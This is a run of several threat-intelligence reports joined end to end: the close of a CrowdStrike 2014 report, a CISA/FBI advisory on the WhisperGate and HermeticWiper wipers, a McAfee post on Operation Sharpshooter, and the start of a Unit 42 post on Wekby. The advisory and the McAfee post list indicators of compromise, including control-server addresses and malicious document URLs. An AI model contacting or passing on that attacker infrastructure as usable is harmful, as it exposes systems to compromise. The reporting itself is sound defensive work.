For example, in November 2013, just before the JPOA agreement was signed, Sharif University of Technology conducted a contest for innovative methods of computer network intrusions and defense against such intrusions.
Based on the contest announcements, Iranian government cyber security authorities had access to the students submissions in the contest, and those submissions were not released to the public but rather kept private to only those with access to the contest submissions.
68 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward Iranian adversaries such as ROCKeT KITTeN, FLyING KITTeN, and CHARMING KITTeN were quite active during 2014 targeting western governments and companies.
The motivation to attack such targets will only increase during 2015.
However, should the process around the JPOA and CPOA take a turn that Iran perceives as disadvantageous, the motivation will likely greatly increase.
Recent revelations indicate that ROCKeT KITTeN may have, in fact, targeted the JPOA negotiations using spear phishing that may have targeted diplomats involved in the meetings.
CYBER SPIllOvER FROm REGIONAl CONFlICTS Last years report included cyber spillover as something to look for in 2014, and it will be equally as important in 2015.
Increasingly, real- world physical conflicts are carrying with them associated cyber components.
Sometimes the related cyber operations are carried out by entities directly engaged in the conflict, and other times entities not directly involved will engage in cyber operations in an attempt to support one side or the other.
It is not possible to predict all possible conflicts in 2015, but there are three primary areas to keep an eye on.
The conflict that may see the most significant uptick in associated activity is the one centered around ISIS.
The Syrian civil war saw quite a bit of associated cyber operations against western targets in 2013, many of which were attributed to the DeADeye JACKAL adversary (Syrian electronic Army).
Since that time, the ISIS terrorist group has become a significant threat in the region and appears to be capable of bringing resources to bear to carry out malicious cyber attacks.
Already, in early January 2015, a group calling itself CyberCaliphate and declaring support for ISIS hacked the social media presence of U.S. Central Command and used it to spread Islamist propaganda.
It is likely that this and other related groups supporting the Islamist cause will engage in operations that support ISIS objectives.
Most of this activity is likely to be a nuisance, such as defacements and 69 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward low-level DDOS attacks, but it is possible that more advanced actors could carry out targeted or even destructive attacks.
The South China Sea will be an area to continue to watch in 2015.
As discussed above, tensions in this area drove a great deal of targeted intrusion activity from China-based adversaries in 2014.
Tensions subsided toward the end of 2014, but the region is rich in natural resources and countries there, particularly China, are eager to lay claim to those resources.
Because of this, there is a significant possibility that the conflict will flare up again in the coming year.
One thing that could temper the possibility for conflict is if oil prices remain low, making oil exploration in the area potentially less lucrative.
Ukraine is the third region to keep an eye on for possible cyber spillover in 2015.
The physical conflict there already spilled over into cyberspace, as was discussed above.
So long as the Ukrainian conflict remains unresolved and foreign governments continue to exert pressure on Russia via economic sanctions, expect continued Russian targeting of governments, particularly those in europe and the U.S. Another related contributing factor to Russian cyber operations is the falling price of oil.
Russias economy is deeply dependent on oil prices.
The precipitous fall in the price of oil at the end of 2014 and going into 2015 has already caused a great deal of economic turmoil in Russia.
An extended period of low oil prices could result in increased malicious cyber activity from Russian adversaries against foreign governments and private sector organizations.
THE FUTURE FOR POS ATTACKS PoS malware experienced a great deal of success during 2014, however upcoming changes may force changes in payment- processing systems in the U.S. For example, several major credit card companies are expected to institute new policies in October 2015 that will shift liability for fraudulent transactions to whomever 70 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward is using the weakest payment-processing systems.
The purpose of this is to drive retailers to adopt eMV (europay, MasterCard, and Visa) standards, which entail chip and PIN cards that use a combination of the traditional PIN number and an embedded microchip that encrypts vital information.
This type of card offers a more secure payment card solution for consumers.
Additionally, several alternative solutions, such as Apple Pay and Google Wallet, have started becoming adopted, allowing for payment via token systems.
In theses systems, rather than a card number being transmitted, a one-time token is passed from a consumers device to the retailer.
The advantage to this system is that in the event of the token being obtained by an unauthorized party, it cannot be reused for later transactions.
Adoption of these newer payment processes should provide consumers with more secure payment methods and make it more difficult for criminals seeking to make money off these systems.
There will be some lag time in 2015 as retailers and banks move to put these improvements in place, during which cybercriminals will still be able to exploit the current, antiquated payment processing systems in the U.S.
However, the newer processes, once in place, should lead to a decline in the type of PoS attacks seen over the past year.
Despite this decline, it is almost certain that the implementation of more secure methods will lead cybercriminals to develop more sophisticated means by which to attack payment- processing systems.
DESTRUCTIvE AND DISRUPTIvE ATTACKS Destructive attacks (such as those carried out by SILeNT CHOLLIMA) and disruptive attacks (such as the DDOS activity against gaming platforms) garnered headlines at the end of 2014.
The high-profile nature of these attacks does not necessarily indicate that they will grow in popularity in 2015, however it is 71 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Looking Forward possible that the success of these attacks may encourage other groups to engage in destructive or disruptive operations to advance their interests.
As an example of this, a series of disruptive attacks in December targeted online gaming platforms.
These attacks manifested in the form of DDOS operations carried out by the LizardSquad group briefly discussed above.
The attacks came in two waves, the first of which was in early December when the Xbox Live and PlayStation networks were knocked offline for a short period of time.
The second wave of attacks occurred on 25 December 2014 when the Xbox and PlayStation online platforms suffered more outages that LizardSquad claimed responsibility for.
CrowdStrike Intelligence is also aware of DDOS threats against other gaming platforms including Valve Software, which appeared to be targeted by a DNS amplification DDOS attack that is similar to previous LizardSquad activity.
Malicious actors have already engaged in disruptive campaigns in early 2015.
Following the January terrorist attacks in France, a group of Islamist hackers known as Fallaga conducted DDOS attacks against servers hosting websites for French foreign embassies.
Soon after, another Islamist group identifying with ISIS took control of the Twitter and youTube accounts for U.S. Central Command and posted a number of messages threatening U.S. troops and their families.
Organizations in all sectors should be aware of, and prepared for, destructive and disruptive attacks.
These operations are often motivated by a specific grievance, but sometimes no clear motivation can be established.
Continuous monitoring for publicized threats against an organization, or for potential areas of controversy that could motivate malicious activity, is vital to detect and prepare for these types of attacks.
the question now is: How do you incorporate intelligence into your daily defenses and prioritize resources based on risk to your business?
Conclusion 73 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n In the course of reviewing 2014, there were so many interesting events, adversaries, and innovations that selecting examples for this report was an incredible challenge.
The CrowdStrike Intelligence team spent much time narrowing the scope of topics covered herein.
The adversaries in 2014 proved, if nothing else, to be dynamic, persistent, and innovative.
Defenders must be inventive, diligent, and decisive in their efforts to defend the enterprise from these attackers.
2015 will be a continuation of the cat-and-mouse game that is played between the adversary and the defender.
Adversaries across the motivational spectrum will continue to evolve their tactics in order to achieve their objectives.
Although tactics may evolve, network defenders will be able to have success against the adversary so long as they are well prepared.
Intelligence will provide the decisive advantage to both sides, and having a good defense will be predicated on having an informed, intelligent defensive team.
The incorporation of intelligence into the daily defense of the enterprise will continue to be paramount and products, services, and solution providers will need to use this intelligence to stay ahead of the adversary.
At CrowdStrike, intelligence powers everything we do, and as 2015 unfolds, organizations using intelligence will be better prepared to detect, deter, and defend against their adversaries.
Conclusion 74 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n CrowdStrike Falcon Intelligence portal provides enterprises with strategic, customized, and actionable intelligence.
Falcon Intelligence enables organizations to prioritize resources by determining targeted versus commodity attacks, saving time and focusing resources on critical threats.
With unprecedented insight into adversary Tactics, Techniques, and Procedures (TTPs) and multi-source information channels, analysts can identify pending attacks and automatically feed threat intelligence via API to SIEM and third-party security tools.
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To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field-offices, or the FBIs 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e- mail at CyWatchfbi.gov.
When available, please include the following information regarding the incident: date, time, and location of the incident type of activity number of people affected type of equipment used for the activity the name of the submitting company or organization and a designated point of contact.
To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDeskcisa.dhs.gov.
This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see https://www.cisa.gov/tlp.
TLP Product ID: AA22-057A February 26, 2022 Co-Authored by: TLP:WHITE TLP:WHITE Destructive Malware Targeting Organizations in Ukraine SUMMARY Leading up to Russias unprovoked attack against Ukraine, threat actors deployed destructive malware against organizations in Ukraine to destroy computer systems and render them inoperable.
On January 15, 2022, the Microsoft Threat Intelligence Center (MSTIC) disclosed that malware, known as WhisperGate, was being used to target organizations in Ukraine.
According to Microsoft, WhisperGate is intended to be destructive and is designed to render targeted devices inoperable.
On February 23, 2022, several cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine.
According to Sentinel Labs, the malware targets Windows devices, manipulating the master boot record, which results in subsequent boot failure.
Destructive malware can present a direct threat to an organizations daily operations, impacting the availability of critical assets and data.
Further disruptive cyberattacks against organizations in Ukraine are likely to occur and may unintentionally spill over to organizations in other countries.
Organizations should increase vigilance and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event.
This joint Cybersecurity Advisory (CSA) between the Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) provides information on WhisperGate and HermeticWiper malware as well as open-source indicators of compromise (IOCs) for organizations to detect and prevent the malware.
Additionally, this joint CSA provides recommended guidance and Actions to Take Today: Set antivirus and antimalware programs to conduct regular scans.
Enable strong spam filters to prevent phishing emails from reaching end users.
Filter network traffic.
Update software.
Require multifactor authentication.
https://www.fbi.gov/contact-us/field-offices mailto:CyWatchfbi.gov mailto:CISAServiceDeskcisa.dhs.gov https://www.cisa.gov/tlp https://www.cisa.gov/shields-up https://www.cisa.gov/shields-up https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://twitter.com/ESETresearch/status/1496581903205511181 https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ CISA  FBI TLP:WHITE Page 2 of 9  Product ID: AA22-057A TLP:WHITE considerations for organizations to address as part of network architecture, security baseline, continuous monitoring, and incident response practices.
TECHNICAL DETAILS Threat actors have deployed destructive malware, including both WhisperGate and HermeticWiper, against organizations in Ukraine to destroy computer systems and render them inoperable.
Listed below are high-level summaries of campaigns employing the malware.
CISA recommends organizations review the resources listed below for more in-depth analysis and see the Mitigation section for best practices on handling destructive malware.
On January 15, 2022, Microsoft announced the identification of a sophisticated malware operation targeting multiple organizations in Ukraine.
The malware, known as WhisperGate, has two stages that corrupts a systems master boot record, displays a fake ransomware note, and encrypts files based on certain file extensions.
Note: although a ransomware message is displayed during the attack, Microsoft highlighted that the targeted data is destroyed, and is not recoverable even if a ransom is paid.
See Microsofts blog on Destructive malware targeting Ukrainian organizations for more information and see the IOCs in table 1.
Table 1: IOCs associated with WhisperGate Name File Category  File Hash Source WhisperGate stage1.exe a196c6b8ffcb97ffb276d04f354696e2391311 db3841ae16c8c9f56f36a38e92 Microsoft MSTIC WhisperGate stage2.exe dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5 329958d38b58c3fd9384081c9b78 Microsoft MSTIC On February 23, 2022, cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine.
According to Sentinel Labs, the malware targets Windows devices, manipulating the master boot record and resulting in subsequent boot failure.
Note: according to Broadcom, [HermeticWiper] has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
See the following resources for more information and see the IOCs in table 2 below.
ESET Research Tweet: Breaking.
ESETResearch discovered a new data wiper malware used in Ukraine today.
ESET telemetry shows that it was installed on hundreds of machines in the country.
Sentinel Labs: HermeticWiper  New Destructive Malware Used In Cyber Attacks on Ukraine Broadcoms Symantec Threat Hunter Team: Ukraine: Disk-wiping Attacks Precede Russian Invasion https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://www.virustotal.com/gui/file/a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 https://www.virustotal.com/gui/file/a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://www.virustotal.com/gui/file/dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 https://www.virustotal.com/gui/file/dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://twitter.com/ESETresearch/status/1496581903205511181 https://twitter.com/ESETresearch/status/1496581903205511181 https://twitter.com/ESETresearch/status/1496581903205511181 https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia CISA  FBI TLP:WHITE Page 3 of 9  Product ID: AA22-057A TLP:WHITE Table 2: IOCs associated with HermeticWiper Name File Category  File Hash Source Win32/KillDisk.
N CV Trojan 912342F1C840A42F6B74132F8A7C4FFE7 D40FB77 61B25D11392172E587D8DA3045812A66C 3385451 ESET research HermeticWiper Win32 EXE 912342f1c840a42f6b74132f8a7c4ffe7d40fb 77 Sentinel Labs HermeticWiper Win32 EXE 61b25d11392172e587d8da3045812a66c33 85451 Sentinel Labs RCDATA_DRV_ X64 ms-compressed a952e288a1ead66490b3275a807f52e5 Sentinel Labs RCDATA_DRV_ X86 ms-compressed 231b3385ac17e41c5bb1b1fcb59599c4 Sentinel Labs RCDATA_DRV_ XP_X64 ms-compressed 095a1678021b034903c85dd5acb447ad Sentinel Labs RCDATA_DRV_ XP_X86 ms-compressed eb845b7a16ed82bd248e395d9852f467 Sentinel Labs Trojan.
Killdisk Trojan.
Killdisk 1bc44eef75779e3ca1eefb8ff5a64807dbc94 2b1e4a2672d77b9f6928d292591 Symantec Threat Hunter Team Trojan.
Killdisk Trojan.
Killdisk 0385eeab00e946a302b24a91dea4187c121 0597b8e17cd9e2230450f5ece21da Symantec Threat Hunter Team Trojan.
Killdisk Trojan.
Killdisk a64c3e0522fad787b95bfb6a30c3aed1b578 6e69e88e023c062ec7e5cebf4d3e Symantec Threat Hunter Team Ransomware Trojan.
Killdisk 4dc13bb83a16d4ff9865a51b3e4d24112327 c526c1392e14d56f20d6f4eaf382 Symantec Threat Hunter Team https://twitter.com/ESETresearch/status/1496581916367151115?s https://twitter.com/ESETresearch/status/1496581916367151115?s https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia CISA  FBI TLP:WHITE Page 4 of 9  Product ID: AA22-057A TLP:WHITE MITIGATIONS Best Practices for Handling Destructive Malware As previously noted above, destructive malware can present a direct threat to an organizations daily operations, impacting the availability of critical assets and data.
Organizations should increase vigilance and evaluate their capabilities, encompassing planning, preparation, detection, and response, for such an event.
This section is focused on the threat of malware using enterprise-scale distributed propagation methods and provides recommended guidance and considerations for an organization to address as part of their network architecture, security baseline, continuous monitoring, and incident response practices.
CISA and the FBI urge all organizations to implement the following recommendations to increase their cyber resilience against this threat.
Potential Distribution Vectors Destructive malware may use popular communication tools to spread, including worms sent through email and instant messages, Trojan horses dropped from websites, and virus-infected files downloaded from peer-to-peer connections.
Malware seeks to exploit existing vulnerabilities on systems for quiet and easy access.
The malware has the capability to target a large scope of systems and can execute across multiple systems throughout a network.
As a result, it is important for organizations to assess their environment for atypical channels for malware delivery and/or propagation throughout their systems.
Systems to assess include: Enterprise applications  particularly those that have the capability to directly interface with and impact multiple hosts and endpoints.
Common examples include: o Patch management systems, o Asset management systems, o Remote assistance software (typically used by the corporate help desk), o Antivirus (AV) software, o Systems assigned to system and network administrative personnel, o Centralized backup servers, and o Centralized file shares.
While not only applicable to malware, threat actors could compromise additional resources to impact the availability of critical data and applications.
Common examples include: Centralized storage devices o Potential risk  direct access to partitions and data warehouses.
Network devices o Potential risk  capability to inject false routes within the routing table, delete specific routes from the routing table, remove/modify configuration attributes, or destroy firmware or system binarieswhich could isolate or degrade availability of critical network resources.
CISA  FBI TLP:WHITE Page 5 of 9  Product ID: AA22-057A TLP:WHITE Best Practices and Planning Strategies Common strategies can be followed to strengthen an organizations resilience against destructive malware.
Targeted assessment and enforcement of best practices should be employed for enterprise components susceptible to destructive malware.
Communication Flow Ensure proper network segmentation.
Ensure that network-based access control lists (ACLs) are configured to permit server-to-host and host-to-host connectivity via the minimum scope of ports and protocols and that directional flows for connectivity are represented appropriately.
o Communications flow paths should be fully defined, documented, and authorized.
Increase awareness of systems that can be used as a gateway to pivot (lateral movement) or directly connect to additional endpoints throughout the enterprise.
o Ensure that these systems are contained within restrictive Virtual Local Area Networks (VLANs), with additional segmentation and network access controls.
Ensure that centralized network and storage devices management interfaces reside on restrictive VLANs.
o Layered access control, and o Device-level access control enforcement  restricting access from only pre-defined VLANs and trusted IP ranges.
Access Control For enterprise systems that can directly interface with multiple endpoints: o Require multifactor authentication for interactive logons.
o Ensure that authorized users are mapped to a specific subset of enterprise personnel.
If possible, the Everyone, Domain Users, or the Authenticated Users groups should not be permitted the capability to directly access or authenticate to these systems.
o Ensure that unique domain accounts are used and documented for each enterprise application service.
Context of permissions assigned to these accounts should be fully documented and configured based upon the concept of least privilege.
Provides an enterprise with the capability to track and monitor specific actions correlating to an applications assigned service account.
o If possible, do not grant a service account with local or interactive logon permissions.
Service accounts should be explicitly denied permissions to access network shares and critical data locations.
o Accounts that are used to authenticate to centralized enterprise application servers or devices should not contain elevated permissions on downstream systems and resources throughout the enterprise.
Continuously review centralized file share ACLs and assigned permissions.
o Restrict Write/Modify/Full Control permissions when possible.
Monitoring Audit and review security logs for anomalous references to enterprise-level administrative (privileged) and service accounts.
CISA  FBI TLP:WHITE Page 6 of 9  Product ID: AA22-057A TLP:WHITE o Failed logon attempts, o File share access, and o Interactive logons via a remote session.
Review network flow data for signs of anomalous activity, including: o Connections using ports that do not correlate to the standard communications flow associated with an application, o Activity correlating to port scanning or enumeration, and o Repeated connections using ports that can be used for command and control purposes.
Ensure that network devices log and audit all configuration changes.
o Continually review network device configurations and rule sets to ensure that communications flows are restricted to the authorized subset of rules.
File Distribution When deploying patches or AV signatures throughout an enterprise, stage the distributions to include a specific grouping of systems (staggered over a pre-defined period).
o This action can minimize the overall impact in the event that an enterprise patch management or AV system is leveraged as a distribution vector for a malicious payload.
Monitor and assess the integrity of patches and AV signatures that are distributed throughout the enterprise.
o Ensure updates are received only from trusted sources, o Perform file and data integrity checks, and o Monitor and audit  as related to the data that is distributed from an enterprise application.
System and Application Hardening Ensure robust vulnerability management and patching practices are in place.
o CISA maintains a living catalog of known exploited vulnerabilities that carry significant risk to federal agencies as well as public and private sectors entities.
In addition to thoroughly testing and implementing vendor patches in a timelyand, if possible, automatedmanner, organizations should ensure patching of the vulnerabilities CISA includes in this catalog.
Ensure that the underlying operating system (OS) and dependencies (e.g., Internet Information Services [IIS], Apache, Structured Query Language [SQL]) supporting an application are configured and hardened based upon industry-standard best practice recommendations.
Implement application-level security controls based on best practice guidance provided by the vendor.
Common recommendations include: o Use role-based access control, o Prevent end-user capabilities to bypass application-level security controls, For example, do not allow users to disable AV on local workstations.
o Remove, or disable unnecessary or unused features or packages, and o Implement robust application logging and auditing.
https://cisa.gov/known-exploited-vulnerabilities CISA  FBI TLP:WHITE Page 7 of 9  Product ID: AA22-057A TLP:WHITE Recovery and Reconstitution Planning A business impact analysis (BIA) is a key component of contingency planning and preparation.
The overall output of a BIA will provide an organization with two key components (as related to critical mission/business operations): Characterization and classification of system components, and Interdependencies.
Based upon the identification of an organizations mission critical assets (and their associated interdependencies), in the event that an organization is impacted by destructive malware, recovery and reconstitution efforts should be considered.
To plan for this scenario, an organization should address the availability and accessibility for the following resources (and should include the scope of these items within incident response exercises and scenarios): Comprehensive inventory of all mission critical systems and applications: o Versioning information, o System/application dependencies, o System partitioning/storage configuration and connectivity, and o Asset owners/points of contact.
Contact information for all essential personnel within the organization, Secure communications channel for recovery teams, Contact information for external organizational-dependent resources: o Communication providers, o Vendors (hardware/software), and o Outreach partners/external stakeholders Service contract numbers  for engaging vendor support, Organizational procurement points of contact, Optical disc image (ISO)/image files for baseline restoration of critical systems and applications: o OS installation media, o Service packs/patches, o Firmware, and o Application software installation packages.
Licensing/activation keys for OS and dependent applications, Enterprise network topology and architecture diagrams, System and application documentation, Hard copies of operational checklists and playbooks, System and application configuration backup files, Data backup files (full/differential), System and application security baseline and hardening checklists/guidelines, and System and application integrity test and acceptance checklists.
Incident Response Victims of a destructive malware attacks should immediately focus on containment to reduce the scope of affected systems.
Strategies for containment include: https://www.ready.gov/business-impact-analysis CISA  FBI TLP:WHITE Page 8 of 9  Product ID: AA22-057A TLP:WHITE Determining a vector common to all systems experiencing anomalous behavior (or having been rendered unavailable)from which a malicious payload could have been delivered: o Centralized enterprise application, o Centralized file share (for which the identified systems were mapped or had access), o Privileged user account common to the identified systems, o Network segment or boundary, and o Common Domain Name System (DNS) server for name resolution.
Based upon the determination of a likely distribution vector, additional mitigation controls can be enforced to further minimize impact: o Implement network-based ACLs to deny the identified application(s) the capability to directly communicate with additional systems, Provides an immediate capability to isolate and sandbox specific systems or resources.
o Implement null network routes for specific IP addresses (or IP ranges) from which the payload may be distributed, An organizations internal DNS can also be leveraged for this task, as a null pointer record could be added within a DNS zone for an identified server or application.
o Readily disable access for suspected user or service account(s), o For suspect file shares (which may be hosting the infection vector), remove access or disable the share path from being accessed by additional systems, and o Be prepared to, if necessary, reset all passwords and tickets within directories (e.g., changing golden/silver tickets).
As related to incident response and incident handling, organizations are encouraged to report incidents to the FBI and CISA (see the Contact section below) and to preserve forensic data for use in internal investigation of the incident or for possible law enforcement purposes.
See Technical Approaches to Uncovering and Remediating Malicious Activity for more information.
CONTACT All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at centralcisa.dhs.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBIs 24/7 CyWatch at (855) 292-3937 or CyWatchfbi.gov.
RESOURCES Joint CSA: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems Joint CSA: Ongoing Cyber Threats to U.S. Water and Wastewater Systems CISA and MS-ISAC: Joint Ransomware Guide NIST: Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events NIST: Data Integrity: Recovering from Ransomware and Other Destructive Events https://www.cisa.gov/uscert/ncas/alerts/aa20-245a https://www.cisa.gov/uscert/ncas/alerts/aa20-245a mailto:centralcisa.dhs.gov https://www.fbi.gov/contact-us/field-offices mailto:CyWatchfbi.gov https://www.cisa.gov/uscert/ncas/alerts/aa22-011a https://www.cisa.gov/uscert/ncas/alerts/aa22-011a https://www.cisa.gov/uscert/ncas/alerts/aa20-205a https://www.cisa.gov/uscert/ncas/alerts/aa20-205a https://www.cisa.gov/uscert/ncas/alerts/aa21-287a https://www.cisa.gov/sites/default/files/publications/CISA_MS-ISAC_Ransomware20Guide_S508C.pdf https://www.nccoe.nist.gov/projects/building-blocks/data-integrity/detect-respond https://www.nccoe.nist.gov/projects/building-blocks/data-integrity/recover CISA  FBI TLP:WHITE Page 9 of 9  Product ID: AA22-057A TLP:WHITE CISA Cyber hygiene services: CISA offers a range of no-cost services to help critical infrastructure organizations assess, identify and reduce their exposure to threats, including ransomware.
By requesting and leveraging these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.
https://www.cisa.gov/cyber-hygiene-services
December 12, 2018 Operation Sharpshooter Targets Global Defense, Critical Infrastructure securingtomorrow.mcafee.com/blogs/other-blogs/mcafee-labs/operation-sharpshooter-targets-global- defense-critical-infrastructure/ By Ryan Sherstobitoff and Asheer Malhotra on Dec 12, 2018 This post was written with contributions from the McAfee Advanced Threat Research team.
The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee Global Threat Intelligence.
This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implantwhich we call Rising Sunfor further exploitation.
According to our analysis, the Rising Sun implant uses source code from the Lazarus Groups 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries.
Operation Sharpshooters numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags.
Our research focuses on how this actor operates, the global impact, and how to detect the attack.
We shall leave attribution to the broader security community.
Read our full analysis of Operation Sharpshooter.
Have we seen this before?
This campaign, while masquerading as legitimate industry job recruitment activity, gathers information to monitor for potential exploitation.
Our analysis also indicates similar techniques associated with other job recruitment campaigns.
Global impact In October and November 2018, the Rising Sun implant has appeared in 87 organizations across the globe, predominantly in the United States, based on McAfee telemetry and our analysis.
Based on other campaigns with similar behavior, most of the targeted organizations are English speaking or have an English-speaking regional office.
This actor has used recruiting as a lure to collect information about targeted individuals of interest or organizations that manage data related to the industries of interest.
The McAfee Advanced Threat Research team has observed that the majority of targets were defense and government-related organizations.
1/5 https://securingtomorrow.mcafee.com/blogs/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/ https://securingtomorrow.mcafee.com/blogs/author/ryan-sherstobitoff/ https://securingtomorrow.mcafee.com/blogs/author/asheer-malhotra/ https://www.computerworld.com/article/2998498/malware-vulnerabilities/s-korean-manufacturing-industry-targeted-with-new-backdoor-program.html https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf https://securingtomorrow.mcafee.com/wp-content/uploads/2018/12/20181210-Sharpshooter-1.png https://securingtomorrow.mcafee.com/wp-content/uploads/2018/12/20181210-Sharpshooter-2.png Targeted organizations by sector in October 2018.
Colors indicate the most prominently affected sector in each country.
Source: McAfee Global Threat Intelligence.
2/5 Infection flow of the Rising Sun implant, which eventually sends data to the attackers control servers.
Conclusion Our discovery of this new, high-function implant is another example of how targeted attacks attempt to gain intelligence.
The malware moves in several steps.
The initial attack vector is a document that contains a weaponized macro to download the next stage, which runs in 3/5 memory and gathers intelligence.
The victims data is sent to a control server for monitoring by the actors, who then determine the next steps.
We have not previously observed this implant.
Based on our telemetry, we discovered that multiple victims from different industry sectors around the world have reported these indicators.
Was this attack just a first-stage reconnaissance operation, or will there be more?
We will continue to monitor this campaign and will report further when we or others in the security industry receive more information.
The McAfee Advanced Threat Research team encourages our peers to share their insights and attribution of who is responsible for Operation Sharpshooter.
Indicators of compromise MITRE ATTCK techniques Account discovery File and directory discovery Process discovery System network configuration discovery System information discovery System network connections discovery System time discovery Automated exfiltration Data encrypted Exfiltration over command and control channel Commonly used port Process injection Hashes 8106a30bd35526bded384627d8eebce15da35d17 66776c50bcc79bbcecdbe99960e6ee39c8a31181 668b0df94c6d12ae86711ce24ce79dbe0ee2d463 9b0f22e129c73ce4c21be4122182f6dcbc351c95 31e79093d452426247a56ca0eff860b0ecc86009 Control servers 34.214.99.20/view_style.php 137.74.41.56/board.php kingkoil.com.sg/board.php 4/5 Document URLs hxxp://208.117.44.112/document/Strategic Planning Manager.doc hxxp://208.117.44.112/document/Business Intelligence Administrator.doc hxxp://www.dropbox.com/s/2shp23ogs113hnd/Customer Service Representative.doc?
dl1 McAfee detection RDN/Generic Downloader.x Rising-Sun Rising-Sun-DOC 5/5 Operation Sharpshooter Targets Global Defense, Critical Infrastructure
New Wekby Attacks Use DNS Requests As Command and Control Mechanism posted by: Josh Grunzweig, Mike Scott and Bryan Lee on May 24, 2016 11:30 AM filed in: Malware, Threat Prevention, Unit 42 tagged: command and control, DNS, pisloader, Wekby We have observed an attack led by the APT group Wekby targeting a US-based organization in recent weeks.
Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech.
